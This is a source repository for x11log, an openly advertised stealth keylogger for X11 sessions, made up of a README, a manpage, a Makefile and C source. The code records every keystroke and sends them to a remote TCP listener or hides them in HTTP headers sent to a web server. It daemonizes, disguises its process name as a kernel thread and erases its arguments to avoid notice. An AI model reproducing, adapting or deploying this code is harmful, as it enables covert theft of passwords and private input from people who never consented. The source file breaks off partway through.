├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── manpage.pod
├── x11log.c
└── x11log.h
/.gitignore:
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1 | *.1
2 | *.o
3 | .vimsession
4 |
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/LICENSE:
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1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
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578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | # (c) Sonnleitner Erik
2 | # Makefile for x11log, updated for clean build on Arch
3 |
4 | DESTDIR ?= .
5 | CC = gcc
6 | #CFLAGS = -ggdb -fPIE -m32 -Wall -fno-builtin-log -Wno-multichar -std=c99 -Wno-deprecated-declarations
7 | #CFLAGS = -ggdb -fPIE -Wall -std=c99 -fno-builtin-log -Wall -Wno-multichar -Wno-missing-braces -Wno-deprecated-declarations
8 | CFLAGS = -fPIE -Wall -std=c99 -fno-builtin-log -Wall -Wno-multichar -Wno-missing-braces -Wno-deprecated-declarations
9 | # -fno-builtin-log: we have our own implementation of log()
10 | # -Wno-multichar: we use multi-chars in the source (sorry for that)
11 | # -Wno-depricated-declarations: we use XKeycodeToKeysym from Xlib.h
12 | # -Wno-missing-braces: see GCC bug 53119
13 |
14 | INCLUDES ?= -I/usr/lib/X11R6/include -I/usr/include/curl
15 | DEFINES = -D_HAVE_CURL -D_UNICODE -D_GNU_SOURCE
16 | LIBS ?= -L/usr/X11R6/lib
17 | EXTRA_LDFLAGS ?= -lX11 -lcurl
18 | LDFLAGS ?= -lX11 -lcurl
19 | TARGET ?= x11log
20 | MANPAGE_POD ?= manpage.pod
21 | POD2MAN ?= pod2man
22 | #POD2MAN ?= /usr/bin/pod2man
23 | MANDIR ?= /usr/share/man/man1
24 |
25 | all: $(TARGET)
26 |
27 | $(TARGET): $(TARGET).o
28 | $(CC) -o $@ $(TARGET).o $(LIBS) $(EXTRA_LDFLAGS) $(INCLUDES) $(DEFINES)
29 | $(POD2MAN) --center "Utils" $(MANPAGE_POD) > $(TARGET).1
30 |
31 | $(TARGET).o: $(TARGET).c
32 | $(CC) $(INCLUDES) $(DEFINES) $(CFLAGS) -c $(TARGET).c
33 |
34 | clean:
35 | rm -f *.o
36 | rm -f $(TARGET)
37 |
38 | install:
39 | mkdir -p $(DESTDIR)/usr/bin/
40 | mkdir -p $(DESTDIR)/usr/share/man/man1/
41 | install -m 0755 $(TARGET) $(DESTDIR)/usr/bin/
42 | install -m 0644 $(TARGET).1 $(DESTDIR)/usr/share/man/man1/$(TARGET).1
43 |
44 | uninstall:
45 | rm -f $(DESTDIR)/usr/bin/$(TARGET)
46 | rm -f $(DESTDIR)/usr/share/man/man1/$(TARGET).1
47 |
48 |
49 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # x11log
2 |
3 | x11log is a tiny, simplistic, non-privileged, unobtrusive local/remote
4 | userspace keylogger for X11 sessions. It only requires libX11 and, if
5 | you want remote logging to a HTTP server, libcurl.
6 |
7 | - No root privileges required. It logs all keystrokes, including meta-keys and
8 | modifiers of the user who is running the application, as long as he/she has
9 | an actively running X session. However, it's not necessary to run the logger
10 | from within the X environment (e.g. a graphical xterminal) - it also works
11 | when called via SSH or on a virtual console.
12 |
13 | - Stealthy daemon mode. You may run the logger as background-daemon, with the
14 | possibility of completely omitting any console output, altering its name
15 | within the process list, and fully hide given command-line arguments. By
16 | default, it's renaming itself to a kernel thread.
17 |
18 | - Local logging to file
19 |
20 | - Remote logging to TCP port. It's easily possible to simply send the keystrokes
21 | to a specified port on a host on the net. The other end of the connection just
22 | needs a program which is actively listening for TCP connections, typically done
23 | through netcat (e.g. via BSD netcat: nc -l 4000 -k).
24 |
25 | - Remote logging to your web-server. Alternatively, you may choose a web-server,
26 | to which the keystrokes are sent, encapsulated within a HTTP GET request, and
27 | "hidden" in a HTTP header field (User-Agent by default).
28 |
29 |
--------------------------------------------------------------------------------
/manpage.pod:
--------------------------------------------------------------------------------
1 | =encoding utf8
2 |
3 |
4 | =head1 NAME
5 |
6 | x11log - A tiny, non-privileged, unobtrusive local/remote keylogger for X11
7 |
8 | =head1 SYNPOSIS
9 |
10 | x11log [-sfrhHPdqoO?]
11 |
12 |
13 | =head1 DESCRIPTION
14 |
15 | x11log is a free (GPLv3) keylogger for the X Window System. It's main intent
16 | was to be able to run without root privileges. It is unobstrusive, shows a low
17 | memory footprint, and allows local (file) and remote (to any TCP listener, e.g.
18 | netcat or a HTTP server) logging.
19 | x11log can be run in daemon mode and obfuscate/change it's own program name
20 | in order not to raise suspicion in logs and process managers.
21 |
22 |
23 | =head1 COMMAND-LINE OPTIONS
24 |
25 | If x11log is started without arguments, the process will not daemonize and
26 | echo keystrokes on stdout (regardless whether the terminal it is running in
27 | has the focus or not).
28 |
29 | =over
30 |
31 | =item B<-s DISPLAY>
32 |
33 | X-Display to use, default is :0.0
34 |
35 | =item B<-f LOGFILE>
36 |
37 | Log keystrokes to file instead of STDOUT. Text is appended, logfile created if it does not exist.
38 |
39 | =item B<-r HOST:PORT>
40 |
41 | Log keystrokes to remote host. The other end needs a program listening on the specified TCP port (e.g. using BSD netcat: 'nc -p -k')
42 |
43 | =item B<-h HOST>
44 |
45 | Log keystrokes to webserver within HTTP requests headers.
46 |
47 | =item B<-H HOST>
48 |
49 | like -h, but without buffering.
50 |
51 | =item B<-P>
52 |
53 | use POST instead of GET requests.
54 |
55 | =item B<-d>
56 |
57 | Daemonize (requires -f or -r or both).
58 |
59 | =item B<-q>
60 |
61 | Be quiet (no output to console).
62 |
63 | =item B<-o>
64 |
65 | Obfuscate process name in process table.
66 |
67 | =item B<-O NAME>
68 |
69 | Rename process to given argument.
70 |
71 | =item B<-?>
72 |
73 | Print usage.
74 |
75 | =back
76 |
77 |
78 | =head1 SIGNALS
79 |
80 | x11log handles the following signals:
81 |
82 | =over
83 |
84 | =item B
85 |
86 | Flushes keystroke buffers and terminates x11log normally.
87 |
88 | =item B
89 |
90 | Same as B.
91 |
92 | =item B
93 |
94 | Force x11log to flush the keystroke log buffer immediately and continue
95 | normal operation.
96 |
97 | =back
98 |
99 | =head1 AUTHORS
100 |
101 | B (es@delta-xi.net) 2007 - 2015.
102 | B for X11 display patch
103 |
104 | x11log is hosted on Github at B
105 |
106 | =head1 BUGS
107 |
108 | There are currently no bugs I'm aware of. If you choose HTTP logging, make sure
109 | your server is okay with very frequent requests from the same source (enabling
110 | buffering via B<-h> is recommended).
111 |
112 | If you find any bugs, please report them at B
113 |
114 |
115 |
--------------------------------------------------------------------------------
/x11log.c:
--------------------------------------------------------------------------------
1 | /* vim: set ts=4 sw=4: */
2 | /* -- x11log.c
3 | * x11log - an unprivileged, userspace keylogger for X11
4 | *
5 | * This code is licensed under GPLv3.
6 | * (c) Erik Sonnleitner 2007/2015
7 | * es@delta-xi.net || erik.sonnleitner@fh-hagenberg.at
8 | * www.delta-xi.net, https://github.com/esonn/x11log
9 | *
10 | * TODOs and Bugs: Please refer to the official project-page on Github
11 | * */
12 |
13 | #include
14 | #include
15 | #include
16 | #include /* signal() */
17 | #include /* getopt() */
18 | #include /* toupper() */
19 | #include /* alloca() */
20 |
21 | #include /* time_t */
22 | #include /* umask() */
23 | #include /* time(), localtime(), asctime() */
24 | #include /* socket(), send() */
25 | #include /* inet datatypes */
26 | #include
27 | #include
28 | #include /* variable argument list for printf wrapper */
29 |
30 | #include
31 | #include
32 |
33 | #ifdef _HAVE_CURL
34 | #include
35 | #endif //_HAVE_CURL
36 |
37 | #include "x11log.h"
38 |
39 |
40 |
41 | /* We only want to detect changed keyboard states, so we declare two keymap
42 | * arrays (each holding a X keymap vector), whose contents are swapped in each
43 | * iteration in order to recognize changes. Pointers just for readability. */
44 | static char keymap[2][XKBD_WIDTH],
45 | *kbd = keymap[0],
46 | *tmp = keymap[1];
47 |
48 |
49 | static XModifierKeymap *map;
50 | static Display *dsp;
51 | static int verbosity = 1;
52 |
53 | /* flags set via signal handler */
54 | static int flag_exit = 0;
55 | static int flag_flush = 0;
56 | static int flag_uselinebuf = 0;
57 |
58 | /* Here we go. */
59 | int main (int argc, char ** argv) {
60 | int i;
61 | struct tm *timestart;
62 | struct config_struct config;
63 | char* keystroke;
64 |
65 | timestart = initialize(argc, argv, &config);
66 |
67 | /* Find the right X display for the session. If the user has passed a
68 | * display as argument, the name of the display is already stored in the
69 | * configuration. We don't touch it.
70 | * If the DISPLAY environment variable exists and contains some data, we
71 | * use this value as display. As last resort, we use the default ":0.0".
72 | * -- thanks for frubi for this
73 | */
74 | if((config.display == NULL) && (getenv("DISPLAY") != NULL)
75 | && (strlen(getenv("DISPLAY")) > 0))
76 | config.display = strdup(getenv("DISPLAY"));
77 | else if(config.display == NULL)
78 | config.display = X_DEFAULT_DISPLAY;
79 |
80 | dsp = XOpenDisplay(config.display);
81 | if(!dsp)
82 | fatal("Cannot open display");
83 |
84 | XSynchronize (dsp, True);
85 | map = XGetModifierMapping(dsp);
86 |
87 | log(1, stderr, "\n\n--New Session at %s\n", asctime(timestart));
88 |
89 | /* we'll only try to find changed keys */
90 | for(XQueryKeymap(dsp, kbd);; usleep(DELAY)){
91 | //check if signal handler set global flags
92 | if(flag_exit)
93 | clean_exit(&config);
94 | if(!--flag_flush)
95 | fflush(config.logfd);
96 |
97 | SWAP(kbd, tmp, char*);
98 | XQueryKeymap(dsp, kbd);
99 |
100 | for( i = 0; i < XKBD_WIDTH * BITS_PER_BYTE; i++ )
101 | if(getbit(kbd, i) != getbit(tmp, i) && getbit(kbd, i)) {
102 | keystroke = decodeKey(i, getbit(kbd, i), getMods(kbd));
103 |
104 | /* Log & flush every stroke, unless -l is specified */
105 | if(!flag_uselinebuf) {
106 | log( 1, config.logfd, "%s", keystroke);
107 | fflush(config.logfd);
108 | } else
109 | linebuf_update((const char*)keystroke, &config);
110 |
111 | if(config.log_remote_inet)
112 | transmit_keystroke_inet(keystroke, &config);
113 |
114 | if(config.log_remote_http)
115 | transmit_keystroke_http(keystroke, &config,
116 | config.log_remote_http_nodelay ? 1 : 0);
117 | }
118 | }
119 | }
120 |
121 |
122 |
123 | int linebuf_update(const char* s, struct config_struct* config){
124 | /* If buffer is too small, allocate another chunk of memory */
125 | if( strlen(s) + strlen(linebuf.buf) + 1 >= linebuf.size ) {
126 | linebuf.size += LINEBUF_INC_LEN * sizeof(char);
127 | linebuf.buf = realloc(linebuf.buf, linebuf.size);
128 | if(linebuf.buf == NULL)
129 | fatal("Unable to allocate memory");
130 | }
131 |
132 | /* Concat */
133 | strncat(linebuf.buf, s, strlen(s));
134 |
135 | /* If key is , flush & truncate line buffer */
136 | if(strcmp("\n", s) == 0){
137 | log( 1, config->logfd, "%s", linebuf.buf);
138 | //log( 1, config->logfd, "\n");
139 | fflush(config->logfd);
140 |
141 | linebuf.buf[0] = 0;
142 | return 1;
143 | };
144 |
145 | // TODO: make this work
146 | /* If key is , try to delete last keystroke */
147 | //if(strcmp("\b", s) == 0 || strcmp("←", s) == 0){
148 | char tmp = s[0];
149 | printf("asdfasfd c = <%c>\n", tmp);
150 | //if('\b' == tmp || '←' == tmp){
151 | if(strncmp("←", s, 1) == 0){
152 | printf("LOLOL\n");
153 | linebuf.buf[strlen(linebuf.buf)-1] = 0;
154 | };
155 |
156 |
157 |
158 | /* Fix for AltGr-key combinations on german keyboards */
159 | /*
160 | merge_split_keys('q', VIS_PREFIX_ALTGR, '@');
161 | merge_split_keys('1', VIS_PREFIX_ALTGR, '¹');
162 | merge_split_keys('2', VIS_PREFIX_ALTGR, '²');
163 | merge_split_keys('3', VIS_PREFIX_ALTGR, '³');
164 | merge_split_keys('4', VIS_PREFIX_ALTGR, '¼');
165 | merge_split_keys('5', VIS_PREFIX_ALTGR, '½');
166 | merge_split_keys('6', VIS_PREFIX_ALTGR, '¬');
167 | merge_split_keys('7', VIS_PREFIX_ALTGR, '{');
168 | merge_split_keys('8', VIS_PREFIX_ALTGR, '[');
169 | merge_split_keys('9', VIS_PREFIX_ALTGR, ']');
170 | merge_split_keys('0', VIS_PREFIX_ALTGR, '}');
171 | merge_split_keys('ß', VIS_PREFIX_ALTGR, '\\');
172 | */
173 |
174 | for(int i = 0; kbd_layout_ger[i].cur; i++){
175 | merge_split_keys(kbd_layout_ger[i].cur, kbd_layout_ger[i].mod, kbd_layout_ger[i].replacement);
176 | }
177 |
178 | return 0;
179 | }
180 |
181 |
182 | void merge_split_keys(char key, const char mod, const char replacement){
183 | int cur_key_idx = strlen(linebuf.buf) - 1;
184 |
185 | if( linebuf.buf[cur_key_idx] == key &&
186 | linebuf.buf[cur_key_idx-1] == mod){
187 |
188 | linebuf.buf[cur_key_idx-1] = replacement;
189 | linebuf.buf[cur_key_idx] = 0;
190 | }
191 | }
192 |
193 |
194 |
195 | struct tm* initialize(int argc, char ** argv, struct config_struct* config) {
196 | int c, i, j;
197 | time_t rawtime;
198 |
199 | linebuf.buf = smalloc(sizeof(char) * LINEBUF_INC_LEN);
200 | linebuf.size = LINEBUF_INC_LEN * sizeof(char);
201 |
202 | /* connect signals to handler-functions */
203 | signal(SIGTERM, signal_handler);
204 | signal(SIGINT, signal_handler);
205 | signal(SIGHUP, signal_handler);
206 |
207 | /* set default values for cmdline options */
208 | config->display = NULL;
209 | config->logfile = NULL;
210 | config->logfd = stdout;
211 | config->silent = 0;
212 | config->log_remote_inet = 0;
213 | #ifdef _HAVE_CURL
214 | config->log_remote_http = 0;
215 | #endif
216 | config->process_fakename = NULL;
217 | config->remote_addr = NULL;
218 | config->host = NULL;
219 | config->port = 0;
220 | config->daemonize = 0;
221 | config->obfuscate = 0;
222 | config->log_remote_http_nodelay = 0;
223 | config->log_remote_http_post = 0;
224 |
225 | /* parse cmdline arguments */
226 | while((c = getopt(argc, argv, "PO:s:f:lH:h:?r:qdo")) != -1){
227 | switch(c) {
228 | case 's':
229 | if(strcmp(optarg, X_DEFAULT_DISPLAY) == 0)
230 | break;
231 |
232 | config->display = smalloc(sizeof(char) * strlen(optarg) + 1);
233 | strncpy(config->display, optarg, strlen(optarg));
234 | break;
235 | case 'l':
236 | flag_uselinebuf = 1;
237 | break;
238 | case 'f':
239 | config->logfile = smalloc(sizeof(char) * strlen(optarg) + 1);
240 | strncpy(config->logfile, optarg, strlen(optarg));
241 | break;
242 | #ifdef _HAVE_CURL
243 | case 'H':
244 | config->log_remote_http_nodelay = 1;
245 | case 'h':
246 | config->host = smalloc(sizeof(char) * strlen(optarg) + 1);
247 | strcpy(config->host, optarg);
248 | config->log_remote_http = 1;
249 | break;
250 | case 'P':
251 | config->log_remote_http_post = 1;
252 | #endif
253 | case 'r':
254 | config->remote_addr = optarg;
255 | config->log_remote_inet = 1;
256 | break;
257 | case 'q':
258 | config->silent = 1;
259 | verbosity = 0;
260 | break;
261 | case 'd':
262 | config->daemonize = 1;
263 | break;
264 | case 'O':
265 | config->process_fakename = smalloc(sizeof(char) * strlen(optarg) +1);
266 | strcpy(config->process_fakename, optarg);
267 | case 'o':
268 | config->obfuscate= 1;
269 | break;
270 | case '?':
271 | print_usage(argv[0]);
272 | exit(EXIT_FAILURE);
273 | default:
274 | break;
275 | }
276 | }
277 |
278 | /* logical constraints */
279 | if(config->silent &&
280 | !(config->log_remote_inet || config->log_remote_http || config->logfile))
281 | fatal("Argument -q requires either logging to file or remote host (-r|-h|-f)");
282 | if(config->daemonize &&
283 | !(config->log_remote_inet || config->log_remote_http || config->logfile))
284 | fatal("Argument -d requires either logging to file or remote host (-r|-h|-f)");
285 | if(config->obfuscate && !config->daemonize)
286 | fatal("Argument -o requires daemonization (-d)");
287 | if(config->log_remote_http_post && !config->log_remote_http)
288 | fatal("Argument -P requires http logging (-h|-H)");
289 |
290 | /* log to file if given, use stdout otherwise */
291 | if(config->logfile != NULL){
292 | config->logfd = fopen(config->logfile, "a");
293 | if(!config->logfd) {
294 | log(1, stderr, "Error writing to %s, fallback to console.\n", argv[1]);
295 | config->logfd = stdout;
296 | }
297 | }
298 |
299 | /* remote logging argument validation */
300 | if((config->remote_addr != NULL)
301 | && (strstr(config->remote_addr, ":") != NULL)
302 | && (config->log_remote_inet)) {
303 |
304 | char* host_tmp = strtok(config->remote_addr, ":");
305 | config->host = smalloc(sizeof(char) * strlen(host_tmp) + 1);
306 | strncpy(config->host, host_tmp, strlen(host_tmp));
307 |
308 | config->port = atol( strtok(NULL, ":") );
309 |
310 | if(config->port < TCP_PORT_MIN || config->port > TCP_PORT_MAX)
311 | fatal("Invalid tcp port number");
312 | } else if (config->remote_addr != NULL) {
313 | fatal("Illegal argument for remote logging");
314 | }
315 |
316 | /* to daemonize or not to daemonize */
317 | if(config->daemonize)
318 | daemonize((config->obfuscate) ? argv[0] : NULL, config);
319 |
320 | /* cmdline arguments are always hidden */
321 | for(i = 1; i < argc; i++)
322 | for (j = 0; j < strlen(argv[i]); j++)
323 | argv[i][j] = ' ';
324 |
325 | /* just for logging */
326 | rawtime = time(NULL);
327 | return localtime(&rawtime);
328 | }
329 |
330 |
331 | void print_usage(char* basename){
332 | log(0, stderr, "\n x11log v%s\n", X11LOG_VERSION);
333 | log(0, stderr, " x11log is a tiny, non-privileged, unobtrusive local/remote keylogger for X11\n");
334 | log(0, stderr, " (c) by Erik Sonnleitner 2007/2015, licensed under GPLv3\n");
335 | log(0, stderr, " Please refer to Github for bugs, comments, requests: github.com/esonn/x11log\n\n");
336 | log(0, stderr, " Usage: %s [OPTIONS]\n", basename);
337 | log(0, stderr, " Available options:\n");
338 | log(0, stderr, " -s X-Display to use, default is :0.0\n");
339 | log(0, stderr, " -f Log keystrokes to file instead of STDOUT. Text is\n");
340 | log(0, stderr, " appended, logfile created if it does not exist.\n");
341 | log(0, stderr, " -l Use smart line-wise buffering. See manpage for details.\n");
342 | log(0, stderr, " -r Log keystrokes to remote host. The other end needs a\n");
343 | log(0, stderr, " program listening on the specified TCP port (e.g. using\n");
344 | log(0, stderr, " BSD netcat: 'nc -p -k')\n");
345 | # ifdef _HAVE_CURL
346 | log(0, stderr, " -h Log keystrokes to webserver within HTTP requests headers.\n");
347 | log(0, stderr, " -H like -h, but without buffering.\n");
348 | log(0, stderr, " -P use POST instead of GET requests.\n");
349 | # endif
350 | log(0, stderr, " -d Daemonize (requires -f or -r or both).\n");
351 | log(0, stderr, " -q Be quiet (no output to console).\n");
352 | log(0, stderr, " -o Obfuscate process name in process table.\n");
353 | log(0, stderr, " -O Rename process to given argument.\n");
354 | log(0, stderr, " -? Print usage.\n");
355 | }
356 |
357 | char* decodeKey(int code, int down, int mod) {
358 | static char *str, keystroke_readable[MAX_KEYLEN + 1];
359 | int i = 0;//, remapChar = 0;
360 | KeySym sym;
361 |
362 | sym = XKeycodeToKeysym(dsp, code, (mod == SHIFT_DOWN) ? True : False);
363 | if(sym == NoSymbol)
364 | return "";
365 |
366 | str = XKeysymToString(sym);
367 | if(!str)
368 | return "";
369 |
370 | //printf("DBG: <%s>\n", str);
371 | sprintf(keystroke_readable, "%s", str);
372 |
373 | /* shortenize (remap) char str if in mapping table */
374 | while (remap[i].src[0]) {
375 | if (strcmp(keystroke_readable, remap[i].src) == 0) {
376 | strcpy(keystroke_readable, remap[i].dst);
377 | //remapChar = 1;
378 | break;
379 | }
380 | i++;
381 | }
382 |
383 | /* no remapping, but "long" keysym */
384 | /*
385 | if(keystroke_readable[1] && !remapChar) {
386 | (down)
387 | ? sprintf(keystroke_readable, "%s%s%s", "[+", str, "]")
388 | : sprintf(keystroke_readable, "%s%s%s", "[-", str, "]");
389 | return keystroke_readable;
390 | }
391 | */
392 |
393 | /*
394 | if(mod == CONTROL_DOWN)
395 | printf("[C-DOWN]");
396 | //sprintf(keystroke_readable, "%c%c%c", '^', keystroke_readable[0], '\0');
397 |
398 | if(mod == ALT_DOWN)
399 | //sprintf(keystroke_readable, "%c%c%c", '+', keystroke_readable[0], '\0');
400 |
401 | if(mod == LOCK_DOWN)
402 | printf("[L-DOWN]");
403 | //keystroke_readable[0] = toupper(keystroke_readable[0]);
404 | */
405 |
406 | return keystroke_readable;
407 | }
408 |
409 | int getMods(char *kbd) {
410 | int i;
411 | KeyCode kc;
412 |
413 | for (i = 0; i < map->max_keypermod; i++) {
414 | kc = map->modifiermap[ControlMapIndex * map->max_keypermod + i];
415 | if(kc && getbit(kbd, kc))
416 | return CONTROL_DOWN;
417 |
418 | kc = map->modifiermap[ShiftMapIndex * map->max_keypermod + i];
419 | if(kc && getbit(kbd, kc))
420 | return SHIFT_DOWN;
421 |
422 | kc = map->modifiermap[LockMapIndex * map->max_keypermod + i];
423 | if(kc && getbit(kbd, kc))
424 | return LOCK_DOWN;
425 |
426 | kc = map->modifiermap[Mod1MapIndex * map->max_keypermod + i];
427 | if(kc && getbit(kbd, kc))
428 | return ALT_DOWN;
429 | }
430 |
431 | return 0;
432 | }
433 |
434 | int getbit(char *kbd, int idx) {
435 | return kbd[idx/8] & (1<<(idx%8));
436 | }
437 |
438 |
439 | void signal_handler(int sig) {
440 | switch(sig) {
441 | case(SIGINT):
442 | case(SIGTERM):
443 | log(1, stderr, "\n -- x11log terminated.\n");
444 | flag_exit = 1;
445 | return;
446 | case(SIGHUP):
447 | log(1, stderr, "\n -- SIGHUP: flushing log.\n");
448 | flag_flush = 1;
449 | return;
450 | }
451 | }
452 |
453 | void clean_exit(struct config_struct* cfg){
454 | if(cfg->logfd != stdout)
455 | fclose(cfg->logfd);
456 |
457 | /* Transmit very last keystroke-buffer chunk if HTTP logging is enabled */
458 | if (cfg->log_remote_http)
459 | transmit_keystroke_http( "", cfg, 1 );
460 |
461 | /* Free dynamically allocated memory */
462 | if( strcmp(cfg->display, X_DEFAULT_DISPLAY) != 0)
463 | free( cfg->display );
464 | if( cfg->host != NULL )
465 | free( cfg->host );
466 | if( cfg->logfile != NULL )
467 | free( cfg->logfile );
468 |
469 | exit(EXIT_SUCCESS);
470 | }
471 |
472 |
473 | void fatal(const char * msg){
474 | if(msg != NULL)
475 | log(0, stderr, "Fatal: %s.\n", msg);
476 | exit(EXIT_FAILURE);
477 | }
478 |
479 | int transmit_keystroke_inet(char* key, struct config_struct *opts){
480 | int sock, bytes_sent;
481 | struct hostent *host;
482 | struct sockaddr_in server_addr;
483 |
484 | if((host = gethostbyname( opts->host )) == NULL)
485 | return ERR_DNS;
486 |
487 | if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
488 | return ERR_SOCKET;
489 |
490 | server_addr.sin_family = AF_INET;
491 | server_addr.sin_port = htons( opts->port );
492 | server_addr.sin_addr = *((struct in_addr *)host->h_addr);
493 | bzero(&(server_addr.sin_zero),8);
494 |
495 | if(connect(sock, (struct sockaddr*)&server_addr, sizeof(struct sockaddr)) == -1)
496 | return ERR_CONNECT;
497 |
498 | bytes_sent = send(sock, key, strlen(key), 0);
499 | close(sock);
500 |
501 | return bytes_sent;
502 | }
503 |
504 |
505 | #ifdef _HAVE_CURL
506 | int transmit_keystroke_http(char* key, struct config_struct *cfg, int sendnow){
507 | CURL* curl;
508 | char *http_header_field = HTTP_HEADER_FIELD;
509 | char *http_header;
510 | static char keystroke_buffer[KEYSTROKE_BUFFER_SIZE + 1]; //+null byte
511 |
512 | if( (strlen(keystroke_buffer) + strlen(key) <= (KEYSTROKE_BUFFER_SIZE))
513 | && !sendnow ) {
514 | strcat(keystroke_buffer, key);
515 | return 2;
516 | }
517 |
518 | log(2, cfg->logfd, "HTTP buffer queue full, sending to webserver.");
519 |
520 | curl = curl_easy_init();
521 | if(!curl)
522 | return 0;
523 |
524 | /* create http header-line with keystroke in it */
525 | struct curl_slist *headers = NULL;
526 | http_header = alloca(sizeof(char) *
527 | (strlen(http_header_field) + KEYSTROKE_BUFFER_SIZE +1));
528 |
529 | sprintf(http_header, "%s%s", http_header_field, keystroke_buffer);
530 | headers = curl_slist_append(headers, http_header);
531 |
532 | /* build http request and send */
533 | curl_easy_setopt(curl, CURLOPT_URL, cfg->host );
534 | curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, curl_blackhole);
535 |
536 | if(cfg->log_remote_http_post)
537 | curl_easy_setopt(curl, CURLOPT_POST, 1);
538 |
539 | curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
540 | if (curl_easy_perform(curl) != 0)
541 | return 0;
542 |
543 | curl_easy_cleanup(curl);
544 |
545 | keystroke_buffer[0] = 0;
546 | strcat(keystroke_buffer, key);
547 | return 1;
548 | }
549 | #endif //_HAVE_CURL
550 |
551 | void log(int level, FILE* stream, const char *fmt, ...) {
552 | va_list args;
553 | va_start(args, fmt);
554 |
555 | if(verbosity >= level || (stream != stdout && stream != stderr))
556 | vfprintf(stream, fmt, args);
557 |
558 | va_end(args);
559 | }
560 |
561 |
562 | int daemonize(char* child_process_name, struct config_struct* cfg){
563 | pid_t pid, sid;
564 |
565 | pid = fork();
566 | if(pid < 0)
567 | fatal("Error forking process");
568 |
569 | if(pid > 0)
570 | exit(EXIT_SUCCESS);
571 |
572 | umask(0);
573 |
574 | sid = setsid();
575 | if(sid < 0)
576 | fatal("Error setting SID for child process");
577 |
578 | if(chdir("/") < 0)
579 | fatal("Error setting work directory to /");
580 |
581 | /* process name obfuscation */
582 | if(child_process_name != NULL) {
583 | int process_name_len = strlen(child_process_name);
584 | strncpy(child_process_name, (cfg->process_fakename == NULL)
585 | ? PROCESS_FAKE_NAME : cfg->process_fakename, process_name_len);
586 | }
587 |
588 | close(STDIN_FILENO);
589 | close(STDOUT_FILENO);
590 | close(STDERR_FILENO);
591 |
592 | return pid;
593 | }
594 |
595 | void* smalloc(size_t size) {
596 | void* ptr;
597 |
